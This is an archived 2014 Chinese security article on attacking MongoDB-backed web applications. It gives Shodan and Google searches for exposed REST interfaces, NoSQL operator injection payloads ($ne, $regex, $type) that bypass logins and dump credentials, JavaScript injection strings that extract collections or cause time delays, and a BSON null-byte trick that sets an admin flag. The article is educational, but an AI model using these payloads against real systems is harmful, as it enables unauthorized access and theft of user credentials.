# Attacking MongoDB

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2014-01-10T09:14:00Z
Canonical: https://wepostx.com/topics/332

> 乌云历史资料归档
>
> **原始作者：** 瞌睡龙
> **原始编号：** superkieran-wooyundrops:129
> **原始发布时间：** 2014-01-10 17:14
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

## 0x00 背景

本文主要来自于HITB Ezine Issue 010中的《Attacking MongoDB》
MongoDB是一个基于分布式文件存储的数据库。由C++语言编写。旨在为WEB应用提供可扩展的高性能数据存储解决方案。是一个介于关系数据库和非关系数据库之间的产品，是非关系数据库当中功能最丰富，最像关系数据库的。他支持的数据结构非常松散，是类似json的bson格式，因此可以存储比较复杂的数据类型。Mongo最大的特点是他支持的查询语言非常强大，其语法有点类似于面向对象的查询语言，几乎可以实现类似关系数据库单表查询的绝大部分功能，而且还支持对数据建立索引。
开发人员使用NoSQL数据库的各种应用越来越多。 针对NoSQL的攻击方法是知之甚少，并不太常见。与SQL注入比较，本文重点介绍通过MongoDB的漏洞对Web应用程序可能的攻击。

## 0x01 攻击

### 1)REST接口
关注到有一个REST接口，提供一个web界面访问，默认运行在28017端口上，管理员可以用浏览器远程控制数据库，这个接口我发现了两个存储型xss以及很多的CSRF。
寻找方式：
http://www.shodanhq.com/search?q=port%3A28017

![原文图片](/media/2016/06/0e43da3a9ae5241b9ba6636910a75d34)

google搜索：

```text
intitle:mongo intext:"listDatabases"
```

![原文图片](/media/2016/06/0c32ade8435cfcd98140fc738ceb9fb4)

下了最新版本的mongodb默认不是启用rest的，需要在配置文件（/etc/mongod.conf）中加入一行

```text
rest = true
```
才可以打开其他链接内容。
下图展示了攻击方法
插入js代码，让管理员执行，利用REST接口，执行mongodb的命令，结果返回到攻击者的服务器上。

![原文图片](/media/2016/06/a262c907c9c6d66a4596dead41a7f0fb)

例如，我利用js代码让管理员访问http://xxx.com:28017/admin/$cmd/?filter_eval=function()%7B%20return%20db.version()%20%7D&limit=1
返回结果：

![原文图片](/media/2016/06/d9a0cfcd6e83f5128314fd56b031d1d2)

### 2)Apache+PHP+MongoDB
一段php操作MongoDB的代码：

```text
#!php $q = array("name" => $_GET['login'], "password" => $_ GET['password']); $cursor = $collection->findOne($q);
```
这个脚本的是向MongoDB数据库请求，如果正常的话，会返回用户的数据：

```text
#!php echo 'Name: ' . $cursor['name']; echo 'Password: ' . $cursor['password'];
```
访问下面的连接

```text
?login=admin&password=pa77w0rd
```
数据库里的执行情况是：

```text
db.items.findOne({"name" :"admin", "password" : "pa77w0rd"})
```
如果数据库里存在的该用户名及密码则返回true，否则返回fales。
下面的数据库语句，返回的为用户不是admin的数据（$ne代表不等于）：

```text
db.items.find({"name" :{$ne : "admin"}})
```
那么在现实中的数据库操作例子通常是这样子的：

```text
db.items.findOne({"name" :"admin", "password" : {$ne : "1"}})
```
返回结果将是：

```text
{ "_id" : ObjectId("4fda5559e5afdc4e22000000"), "name" : "admin", "password" : "pa77w0rd" }
```
php传入的方式为：

```text
#!php $q = array("name" => "admin", "password" => array("\$ne" => "1"));
```
外界请求的参数应该为：

```text
?login=admin&password[$ne]=1
```
当使用正则$regex的时候，执行下列数据库语句，将会返回name中所有已y开头的数据

```text
db.items.find({name: {$regex: "^y"}})
```
如果请求数据的脚本换为：

```text
#!php $cursor1 = $collection->find(array("login" => $user, "pass" => $pass));
```
返回结果的数据为：

```text
#!php echo 'id: '. $obj2['id'] .'<br>login: '. $obj2['login'] .'<br>pass: '. $obj2['pass'] . '<br>';
```
如果想要返回所有数据的话，可以访问下面的url：

```text
?login[$regex]=^&password[$regex]=^
```
返回结果将会是：

```text
id: 1 login: Admin pass: parol id: 4 login: user2 pass: godloveman id: 5 login: user3 pass: thepolice=
```
还有一种利用$type的方式：

```text
?login[$not][$type]=1&password[$not][$type]=1
```
官方这里有详细介绍$type的各个值代表的意思：
[http://cn.docs.mongodb.org/manual/reference/operator/query/type/](http://cn.docs.mongodb.org/manual/reference/operator/query/type/)
上面语句表示获取login与password不为双精度类型的，同样会返回所有的数据。

### 3)INJECTION MongoDB
当执行的语句采用字符串拼接的时候，同样也存在注入的问题，如下代码：

```text
#!php $q = "function() { var loginn = '$login'; var passs = '$pass'; db.members.insert({id : 2, login : loginn, pass : passs}); }";
```
当$login与$pass是直接从外界提交到参数获取：

```text
$login = $_GET['login']; $pass = $_GET['password'];
```
并且没有任何过滤，直接带入查询：

```text
#!php $db->execute($q); $cursor1 = $collection->find(array("id" => 2)); foreach($cursor1 as $obj2){ echo "Your login:".$obj2['login']; echo "<br>Your password:".$obj2['pass']; }
```
输入测试数据：

```text
?login=user&password=password
```
返回结果将是：

```text
Your login: user Your password: password
```
输入

```text
?login=user&password=';
```
页面将会返回报错。
输入

```text
/?login=user&password=1'; var a = '1
```
页面返回正常，如何注入出数据呢：

```text
?login=user&password=1'; var loginn = db.version(); var b='
```
看一下返回结果：

![原文图片](/media/2016/06/76194946f127261eac9f5fa8eede63eb)

带入实际中$q是变为：

```text
#!php $q = "function() { var loginn = user; var passs = '1'; var loginn = db.version(); var b=''; db.members.insert({id : 2, login : loginn, pass : passs}); }"
```
获取其他数据的方法：

```text
/?login=user&password= '; var loginn = tojson(db.members.find()[0]); var b='2
```
给loginn重新赋值，覆盖原来的user内容，tojson函数帮助获取到完整的数据信息，否则的话将会接收到一个Array。
最重要的部分是db.memeber.find()[0]，member是一个表，find函数是获取到所有内容，[0]表示获取第一个数组内，可以递增获取所有的内容。
当然也有可能遇到没有返回结果的时候，经典的时间延迟注入也可以使用：

```text
?login=user&password='; if (db.version() > "2") { sleep(10000); exit; } var loginn =1; var b='2
```

### 4)BSON
BSON（Binary Serialized Document Format）是一种类json的一种二进制形式的存储格式，简称Binary JSON，它和JSON一样，支持内嵌的文档对象和数组对象，但是BSON有JSON没有的一些数据类型，如Date和BinData类型。
默认test表中有两条数据：

```text
> db.test.find({}) { "_id" : ObjectId("52cfa5c9e085a58263f183f9"), "name" : "admin", "isadmin" : true } { "_id" : ObjectId("52cfa5e4e085a58263f183fa"), "name" : "noadmin", "isadmin" : false }
```
再插入一条：

```text
> db.test.insert({ "name" : "noadmin2", "isadmin" : false})
```
然后查询看结果：

```text
> db.test.find({}) { "_id" : ObjectId("52cfa5c9e085a58263f183f9"), "name" : "admin", "isadmin" : true } { "_id" : ObjectId("52cfa5e4e085a58263f183fa"), "name" : "noadmin", "isadmin" : false } { "_id" : ObjectId("52cfa92ce085a58263f183fb"), "name" : "noadmin2", "isadmin" : false }
```
再插入一条列名为BSON对象的数据：

```text
db.test.insert({ "name\x16\x00\x08isadmin\x00\x01\x00\x00\x00\x00\x00" : "noadmin2", "isadmin" : false})
```
isadmin之前的0x08是指该数据类型是布尔型，后面的0x01是把这个值设定为1。
这时再查询就回发现isadmin变为的true：

```text
> db.test.find({}) { "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "admin", "isadmin" : true } { "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false } { "_id" : ObjectId("5044ebf6a91b02e9a9b065e3"), "name" : null, "isadmin" : true, "isadmin" : true }
```
不过测试最新版的mongodb中，禁止了空字符。

![原文图片](/media/2016/06/01c0754782c8904e9d8c065b0b2530eb)

当然了 我也觉得此类攻击有点YY。。。

## 0x02 总结

本文列举了四种攻击mongodb的方式。
当然这并不是安全否认mongodb的安全性，只是构造了集中可能存在攻击的场景。
希望大家看到后能够自查一下，以免受到攻击。
还有一些wofeiwo在2011年的时候就已经写过：
[Mongodb安全性初探](http://www.phpweblog.net/GaRY/archive/2011/08/18/Mongodb_secuirty_anaylze.html)

## Replies
